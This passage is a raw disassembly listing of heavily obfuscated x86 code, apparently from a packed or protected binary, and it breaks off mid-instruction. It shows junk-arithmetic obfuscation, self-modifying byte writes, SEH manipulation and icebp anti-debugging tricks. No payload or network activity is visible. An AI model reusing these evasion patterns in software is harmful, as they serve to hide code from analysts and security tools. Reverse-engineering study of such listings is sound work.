XREF: sub_43F3B2:loc_43B78Fj mov ebp, eax xchg ebp, [esp+8+var_8] push 3EAA3ABh pop eax and eax, 8E11C613h or eax, 4EC4E6DEh add eax, 0B17ECA45h xchg eax, [esp+8+var_8] jmp loc_43946E ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- db 2 dup(0) word_43D656 dw 0CC64h ; CODE XREF: sub_43C65A:loc_43D7C3j ; --------------------------------------------------------------------------- jmp loc_43E593 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43D65F: ; CODE XREF: sub_43BE3C+432j or edx, edx jz loc_43A989 push esi push ebx jmp loc_439171 ; END OF FUNCTION CHUNK FOR sub_43BE3C ; =============== S U B R O U T I N E ======================================= sub_43D66E proc far ; CODE XREF: _802izwe5:0043D548j ; _802izwe5:0043E1DFp ; FUNCTION CHUNK AT 0043E13A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043F231 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [eax] sub eax, edx jmp loc_43F231 sub_43D66E endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43D67D: ; CODE XREF: sub_43F688-38C2j push 0B3A69B5Dh pop ecx and ecx, 17D15ACEh jns loc_43F5E1 add [ebx-291C16D5h], cl ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 dd 239CDF81h, 0DFB9E59Ah, 0E987C833h, 0FFFFB490h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43D6AA: ; CODE XREF: sub_43F3B2-1D00j ; sub_43F3B2:loc_43F9B4j jl near ptr dword_437B54+31h add cl, ch jp short loc_43D6AA ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- dd 0FFFFh, 0FFE20EE9h, 5C860FFFh, 0E900001Dh, 0FFFFA4BBh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438C04 loc_43D6CA: ; CODE XREF: sub_438C04+5AC8j sbb eax, 8E989AAAh rol esi, 1Ch jmp loc_43F5F0 ; END OF FUNCTION CHUNK FOR sub_438C04 ; --------------------------------------------------------------------------- db 0, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D6DA: ; CODE XREF: sub_439ED1-14A8j jmp locret_43A917 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43D6DF: ; CODE XREF: _802izwe5:0043F218j mov ecx, esp push edi push 4DF81D34h pop edi xor edi, 2FA4E67Eh rol edi, 0Ah jmp loc_43F761 ; =============== S U B R O U T I N E ======================================= sub_43D6F6 proc far ; CODE XREF: sub_439ED1-388j ; sub_439ED1+BB1p ; FUNCTION CHUNK AT 0043CC98 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043EBE6 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ebp, esp push esi jmp loc_43EBE6 sub_43D6F6 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43D704: ; CODE XREF: sub_43C65A:loc_43C6BAj mov byte ptr [eax], 3 pop eax add edx, 0B6309DF4h rol edx, 2 xor edx, 7304FF62h jmp loc_43BE5C ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D71D: ; CODE XREF: sub_439ED1:loc_43F846j jnz near ptr dword_437CE4+13h add bh, dh mov dword ptr [ecx], 0E9CC6CE4h mov esi, 0FFFFCBh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 14E9CC65h, 0FFFFA5h db 0 ; --------------------------------------------------------------------------- loc_43D739: ; CODE XREF: _802izwe5:0043BD8Aj ; _802izwe5:0043C30Cj sub ecx, 6A5C13A9h and ecx, 73175FA1h add ecx, 0A3BE5CDCh test ecx, 400h jmp loc_439AA9 ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- sbb al, 24h pop ebx mov byte ptr [ebx], 87h pop ebx push ebx jmp loc_43D835 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43D767: ; CODE XREF: _802izwe5:loc_43C565j push ecx jmp near ptr dword_4385A8+0Eh ; --------------------------------------------------------------------------- db 2 dup(0), 0F0h dd 0B27BE9F1h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D777: ; CODE XREF: sub_439ED1:loc_43A5D1j xchg edi, [esp-14h+arg_C] jmp loc_43C814 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43D77F: ; CODE XREF: _802izwe5:0043BCB8j pop ebx push offset dword_43ABEC jmp loc_43C6C0 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D78B: ; CODE XREF: sub_439ED1:loc_43AF86j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset byte_43E70B jmp near ptr dword_439754+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 91256800h, 9AE90043h ; --------------------------------------------------------------------------- jmp short near ptr loc_43D7B4+1 ; CODE XREF: _802izwe5:loc_43D7B4j ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- loc_43D7B7: ; CODE XREF: _802izwe5:loc_43EE05j mov dword ptr [ecx], offset loc_43AC76 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43D7C3: ; CODE XREF: sub_43C65A+20Cj jmp near ptr word_43D656 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43D7CA: ; CODE XREF: sub_43F688-9Ej push dword ptr fs:0 mov fs:0, esp jmp loc_43AAFE ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C109 loc_43D7DD: ; CODE XREF: sub_43C109+15j xchg esi, [esp-8+arg_4] mov ebp, esi pop esi retn 0Ch ; END OF FUNCTION CHUNK FOR sub_43C109 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D7E7: ; CODE XREF: sub_439ED1-460j jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43D7EE proc far ; CODE XREF: sub_439ED1:loc_43E459j ; _802izwe5:loc_43E694j ... call sub_43EEEF jmp locret_43A62E sub_43D7EE endp ; --------------------------------------------------------------------------- dd 16870000h, 0FFE8F8E9h, 0F0000FFh, 155C8Ch, 24348700h dd 5901895Eh, 0FFD0ABE8h, 0BE87E9FFh db 2 dup(0FFh), 0 byte_43D81B db 3 ; DATA XREF: _802izwe5:0043BA45o dd 0CAC081C5h, 0E8B80E7Fh, 0FFFFD376h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D828: ; CODE XREF: sub_439ED1+BA0j jmp loc_43EA67 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 dw 0CDE9h dd 0FFFFB6h db 0 ; --------------------------------------------------------------------------- loc_43D835: ; CODE XREF: _802izwe5:0043D760j mov ebx, ebp xchg ebx, [esp] push esi mov esi, offset loc_437AF0 jmp near ptr byte_439809+2 ; --------------------------------------------------------------------------- align 2 dw 0CC8Bh dd 19836852h, 815AAEA3h, 17AE73EAh, 0BC2C1E5h, 3F2DCA81h dd 0F281DC4Ch, 0DF5CBF7Dh, 0FFE052E9h, 8C0F00FFh, 186h dd 0C9810000h, 3B457AFBh, 171E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43D87E: ; DATA XREF: sub_43E3D6:loc_43F389o push 2EA2E205h pop eax sub eax, 1EA289B2h or eax, 0CA7D4C78h jmp loc_43A9F8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_43D898: ; CODE XREF: _802izwe5:00438F81j jmp loc_43B584 ; --------------------------------------------------------------------------- db 51h, 0E9h, 0A3h dd 0FFFFFFh, 0C1CA2300h, 6CE907E3h, 1Bh db 0 ; =============== S U B R O U T I N E ======================================= sub_43D8B1 proc near ; CODE XREF: sub_439ED1+4239p push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_437428+7Ah sub_43D8B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43D8C2: ; CODE XREF: sub_43BE3C:loc_438772j mov byte ptr [esi], 87h pop esi mov esi, edx xchg eax, edx xor al, 24h push esi mov esi, ecx xchg esi, [esp+0] push eax jmp loc_439063 ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43D8D9: ; CODE XREF: _802izwe5:loc_43B8B5j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax jmp loc_43A3AD ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D8F1: ; CODE XREF: sub_439ED1+3307j pop dword ptr fs:0 xchg eax, [esp+0] pop eax push offset sub_4383D9 jmp loc_43A921 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43D905: ; CODE XREF: _802izwe5:loc_439EA9j push ecx jmp loc_439B22 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43D90D: ; CODE XREF: _802izwe5:loc_43CAD9j push 4385F9h jmp near ptr dword_43A008+19h ; =============== S U B R O U T I N E ======================================= sub_43D917 proc near ; CODE XREF: sub_43BFFF:loc_438268p ; FUNCTION CHUNK AT 0043E9B0 SIZE 00000005 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43E9B0 sub_43D917 endp ; --------------------------------------------------------------------------- dd 0C87F58Bh, 3C875924h, 9E824h, 210000h, 0FFC6F5E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43D93F proc far ; CODE XREF: _802izwe5:0043C1D5j push ecx mov ecx, ebp jmp loc_43C74D sub_43D93F endp ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43D949: ; CODE XREF: _802izwe5:loc_43F8ABj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax jmp loc_43F051 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_43D963: ; CODE XREF: _802izwe5:0043F46Fj jmp loc_43B431 ; --------------------------------------------------------------------------- dd 0F113E900h, 0FFFFh ; --------------------------------------------------------------------------- loc_43D970: ; CODE XREF: _802izwe5:0043CACEj jmp loc_43EE77 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43D976: ; CODE XREF: sub_43F3B2-9B1j xor eax, 1CD75B05h and eax, 0E13B776Dh cmp eax, 220AF71Fh jmp loc_43F9B4 ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- align 2 word_43D98E dw 8Bh ; DATA XREF: sub_439ED1:loc_43F5D6o dd 0FFE143E8h, 810000FFh, 4C1h, 81018900h, 4C1h, 81018900h dd 4C1h, 0E9018900h, 0FFFFFD04h, 87C38B50h db 4, 24h word_43D9BA dw 68AAh ; DATA XREF: sub_439ED1+44CEo dd 0E08D656Ch, 0FFE25CE9h, 870000FFh, 0F7BF2434h, 0E90043ABh dd 0FFFFAB6Dh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43D9D7: ; CODE XREF: sub_439ED1:loc_43A7C5j xchg edi, [esp+0] push offset loc_43A7F7 jmp locret_43A7EB ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CAE5 loc_43D9E6: ; CODE XREF: sub_43CAE5:loc_43BF37j rep icebp jmp loc_43B837 ; END OF FUNCTION CHUNK FOR sub_43CAE5 ; --------------------------------------------------------------------------- align 2 rol edi, 11h mov ecx, edi shl ebx, 13h push esi push 5DD18BA0h pop esi jmp loc_43EC8F ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43DA03 proc near ; CODE XREF: sub_43BE3C:loc_43D351p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004376E1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043782F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00437DC6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00438D18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004394C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004395EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043B22F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BA15 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043BBC8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043BF78 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BF9A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C016 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043E682 SIZE 0000000F BYTES push dword ptr fs:0 mov fs:0, esp db 66h icebp test ebp, ebx jmp loc_43BBC8 sub_43DA03 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DA18: ; CODE XREF: sub_439ED1:loc_43808Cj ; sub_439ED1-1CC8j call sub_439E45 jmp loc_43D2B6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43DA22: ; CODE XREF: _802izwe5:00438A02j xor ebx, 386C4034h add ebx, ebp add ebx, 0C41ABFD4h push ebp add ebp, [eax-37h] leave inc ebx add cl, ch db 36h sar bh, cl loc_43DA3B: ; CODE XREF: _802izwe5:0043DA41j inc dword ptr [edi-7CA7DBFCh] jge short loc_43DA3B add [edi], cl lea esi, [edx] fdivp st(7), st inc esi inc ebp loopne loc_43DA7B push offset dword_43DDD0 jmp locret_43DDCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DA58: ; CODE XREF: sub_439ED1:loc_43AEFAj ; _802izwe5:0043DBFEj sub eax, 0BFACF04Dh xor eax, 0A6DEED8Ch add eax, 0CB2296DCh cmp eax, 2AC05012h jmp loc_43F0EF ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0E9h, 0D6h ; --------------------------------------------------------------------------- loc_43DA7B: ; CODE XREF: _802izwe5:0043DA4Cj icebp ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DA7F: ; CODE XREF: sub_439ED1+5Bj push 32785973h pop ebx and ebx, 9F95CDD0h sub ebx, 0BEBA25EEh test ebx, 20h jmp loc_4396FF ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0EBC8CF81h, 0C7812417h, 590BF872h, 0E9243C87h, 0FFFFF702h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F734 loc_43DAB2: ; CODE XREF: sub_43F734:loc_438F65j jl near ptr dword_43729C+1 loc_43DAB8: ; CODE XREF: sub_43971E+1j jmp loc_43D624 ; END OF FUNCTION CHUNK FOR sub_43F734 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFE60E84h, 97D1E9FFh, 0C100FFFFh, 85E91CC8h, 0FFFFEBh dd 10C18100h, 8B000000h, 1301C709h, 33000100h, 4C181C0h dd 68000000h, 439350h, 7B2E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DAF5: ; CODE XREF: sub_439ED1+612j mov byte ptr [ecx], 8Dh pop ecx xor edx, 4D263AA6h jnz near ptr dword_4399B8+2 add cl, ch jnz short loc_43DB12 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 3 dup(0) dd 0ED819900h db 36h, 2Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DB12: ; CODE XREF: sub_439ED1+3C36j cmpsd mov eax, ds:9CE9C31Bh mov esi, 0FFFFh mov byte ptr [edi], 87h pop edi xchg ebx, [esp+4+var_4] mov ecx, ebx jmp loc_43A678 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_43DB2C proc near ; CODE XREF: sub_439ED1+436Ep ; FUNCTION CHUNK AT 0043803D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043813B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00439B6D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043C4E5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 8854143Ah pop edi and edi, 9CF5E047h jmp loc_43803D sub_43DB2C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43DB41: ; CODE XREF: _802izwe5:0043B59Aj pop ecx retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DB45: ; CODE XREF: sub_439ED1-1510j jmp loc_43D018 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_43DB4A proc near ; CODE XREF: sub_439ED1:loc_43A1EBp push dword ptr fs:0 sub_43DB4A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DB50: ; CODE XREF: sub_439ED1:loc_43850Fj mov fs:0, esp jmp loc_43845F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DB5D: ; CODE XREF: sub_439ED1:loc_43C4F4j pushf push edx call sub_43C155 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438989 loc_43DB65: ; CODE XREF: sub_438989:loc_43E0C7j xor eax, 7595981Bh add ecx, eax pop eax add [ecx], al push offset word_43F576 jmp loc_43EA47 ; END OF FUNCTION CHUNK FOR sub_438989 ; --------------------------------------------------------------------------- align 4 loc_43DB7C: ; DATA XREF: _802izwe5:0043F1DBo mov dword ptr [ecx], 439B97h xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- align 4 push dword ptr fs:0 mov fs:0, esp jmp loc_43DE51 ; --------------------------------------------------------------------------- align 2 word_43DB9A dw 0CCF0h ; CODE XREF: sub_43D917:loc_43E9B0j dd 0FFD821E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43DBA2: ; DATA XREF: sub_43EB57+6o push esi push 63445B98h xchg edi, [esp] mov esi, edi pop edi jmp loc_43EF4C ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DBB4: ; CODE XREF: sub_439ED1+141Dj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp near ptr dword_43729C+57h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dword_43DBCC dd 84106856h, 815E78EDh, 0B2718E6h, 0C5FE81F0h, 0E95503A7h ; DATA XREF: _802izwe5:00437E85o dd 0FFFFD77Fh ; =============== S U B R O U T I N E ======================================= sub_43DBE4 proc far ; CODE XREF: _802izwe5:0043B4F7j xchg ecx, [esp+0] pop ecx add edx, 0F9F27E55h push 43887Eh jmp locret_43A780 sub_43DBE4 endp ; --------------------------------------------------------------------------- loc_43DBF8: ; CODE XREF: _802izwe5:0043AF1Aj adc edi, 4463A604h jmp loc_43DA58 ; --------------------------------------------------------------------------- align 4 dd 0FF07C600h, 0FEC0815Fh, 8BD8999Ah, 0CE98E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43DC16: ; CODE XREF: sub_43F18B-2B92j jp loc_43EBD2 jge loc_43AEC7 loc_43DC22: ; CODE XREF: sub_43B32C:loc_4383F4j push edi mov edi, offset loc_43AE18 jmp loc_437FB9 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 2 loc_43DC2E: ; CODE XREF: _802izwe5:00438621j pop edx mov dword ptr [ecx], 437A2Bh xor eax, eax pop ecx jmp locret_43D095 ; --------------------------------------------------------------------------- db 33h, 0C0h, 81h dd 4C1h, 81018900h, 4C1h, 81018900h, 4C1h, 81018900h, 4C1h dd 0E54DE900h db 2 dup(0FFh), 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_43DC63: ; CODE XREF: sub_43E3D6+85Ej jmp loc_43F389 ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- dd 6B82F281h, 9D68564Ch, 0E90043DDh, 0FFFF9F04h, 0CA130000h dd 0FFE578E9h, 0B95100FFh, 43BFD1h, 0FFC647E9h db 0FFh ; --------------------------------------------------------------------------- loc_43DC8D: ; CODE XREF: _802izwe5:004391A9j xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DC91: ; CODE XREF: sub_439ED1+2378j jmp loc_43CB3D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_43DC98 proc near ; CODE XREF: _802izwe5:loc_43E553p push dword ptr fs:0 mov fs:0, esp jmp near ptr byte_43B97D sub_43DC98 endp ; --------------------------------------------------------------------------- align 2 adc ebp, edx jmp loc_43A1EA ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_43DCB3: ; CODE XREF: sub_43BFFF+10j sub edx, 4AE42830h push edi mov edi, eax xchg edi, [esp+0] mov eax, (offset loc_43AF4F+3) jmp loc_438268 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; --------------------------------------------------------------------------- align 2 dw 9C59h dd 5F896268h, 0C0C15897h, 3C0810Fh, 0E91AF2A4h, 0FFFFAF02h dd 2EE88100h, 0E93D5C6Ch, 0FFFFB6F6h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43DCED: ; CODE XREF: sub_43F688:loc_43CBA7j inc dword ptr [ebp-10h] loc_43DCF0: ; CODE XREF: _802izwe5:0043B038j ; sub_439ED1+4150j call sub_43CC54 loc_43DCF5: ; CODE XREF: _802izwe5:004381FDj add cl, ch xchg esp, [ecx+0FFFFh] test edi, eax jmp loc_437F0F ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DD06: ; CODE XREF: sub_439ED1:loc_4378DBj ja loc_43A6E4 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_43DD0C proc near ; CODE XREF: sub_439ED1:loc_43AC14p xchg ecx, [esp+0] pop ecx mov eax, ds:dword_43DFC4 jmp loc_43D184 sub_43DD0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_43DD1C proc near ; CODE XREF: _802izwe5:0043EDDAp xchg ecx, [esp+0] shr ecx, 13h jmp near ptr dword_438150+7Eh sub_43DD1C endp ; --------------------------------------------------------------------------- xor ebx, 77FED4BFh jmp loc_43F086 ; --------------------------------------------------------------------------- loc_43DD32: ; CODE XREF: _802izwe5:loc_43D518j jge near ptr byte_43B15C jmp loc_43EA7E ; --------------------------------------------------------------------------- db 2 dup(0), 68h dd offset word_43AAEA+1 dd 0FFBA8EE9h, 810000FFh, 4C1h, 81018900h, 4C1h, 81018900h dd 4C1h, 81018900h, 4C1h, 0D434E900h, 0FFFFh ; --------------------------------------------------------------------------- loc_43DD70: ; CODE XREF: _802izwe5:0043BCA4j and ecx, 3AC6B58Ah xor eax, ebp jmp loc_43A134 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43844A loc_43DD7D: ; CODE XREF: sub_43844A:loc_437410j ; sub_43844A+Aj call sub_4397E9 ; END OF FUNCTION CHUNK FOR sub_43844A ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DD84: ; CODE XREF: sub_439ED1+8BFj jmp loc_43772E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43DD8B: ; CODE XREF: _802izwe5:loc_439866j mov esi, ds:off_43DFAC push offset dword_43F54C jmp loc_438F53 ; --------------------------------------------------------------------------- align 4 dd 5AC20300h, 59E99C50h, 0FFFFC1h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0EB368D0Fh, 0FFFFh, 0FFB377E9h, 26E95AFFh ; --------------------------------------------------------------------------- jmp short near ptr loc_43DDBC+1 ; CODE XREF: _802izwe5:loc_43DDBCj ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D600 loc_43DDBF: ; CODE XREF: sub_43D600-4EA4j mov [edx], eax pop edx call sub_43BC7E jmp loc_43D580 ; END OF FUNCTION CHUNK FOR sub_43D600 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_43DDCD: ; CODE XREF: _802izwe5:0043DA53j retn ; --------------------------------------------------------------------------- align 10h dword_43DDD0 dd 0E8F045FFh, 0FFFFDA9Dh, 0FFA943E9h db 0FFh ; --------------------------------------------------------------------------- loc_43DDDD: ; CODE XREF: _802izwe5:00439B40j jmp loc_43BC43 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43DDE3 proc far ; CODE XREF: _802izwe5:0043F808p xchg edi, [esp+0] xchg ebx, [esp+0] mov edi, ebx pop ebx add esp, 0FFFFFFE0h jmp loc_43A3F0 sub_43DDE3 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43DDF6: ; CODE XREF: _802izwe5:00439362j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43AE96 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43E22A loc_43DE14: ; CODE XREF: sub_43E22A-4E11j ; DATA XREF: _802izwe5:0043E1FEo pop dword ptr fs:0 xchg eax, [esp+0] pop eax mov byte ptr [esi], 9Ch pop esi xor eax, 4B080586h call near ptr sub_439ED1 add cl, ch sal ah, cl ; END OF FUNCTION CHUNK FOR sub_43E22A ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 dd 0ED800F00h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DE3B: ; CODE XREF: sub_439ED1:loc_43A9F0j push offset byte_43E4AF jmp loc_439C3D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 dw 0D381h dd 0E108E2E4h, 0FFC471E9h db 0FFh ; --------------------------------------------------------------------------- loc_43DE51: ; CODE XREF: _802izwe5:0043DB94j db 3Eh icebp jmp loc_43ADDC ; --------------------------------------------------------------------------- db 0, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DE5A: ; CODE XREF: sub_439ED1+3FC5j jmp loc_43B10C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h jmp loc_43E972 ; --------------------------------------------------------------------------- jmp locret_439170 ; --------------------------------------------------------------------------- align 4 loc_43DE6C: ; CODE XREF: _802izwe5:00437E44j jmp loc_43C7B9 ; =============== S U B R O U T I N E ======================================= sub_43DE71 proc near ; CODE XREF: _802izwe5:loc_43C4B3p xchg ebx, [esp+0] xchg edi, [esp+0] mov ebx, edi pop edi add esi, 9E20AC32h jmp 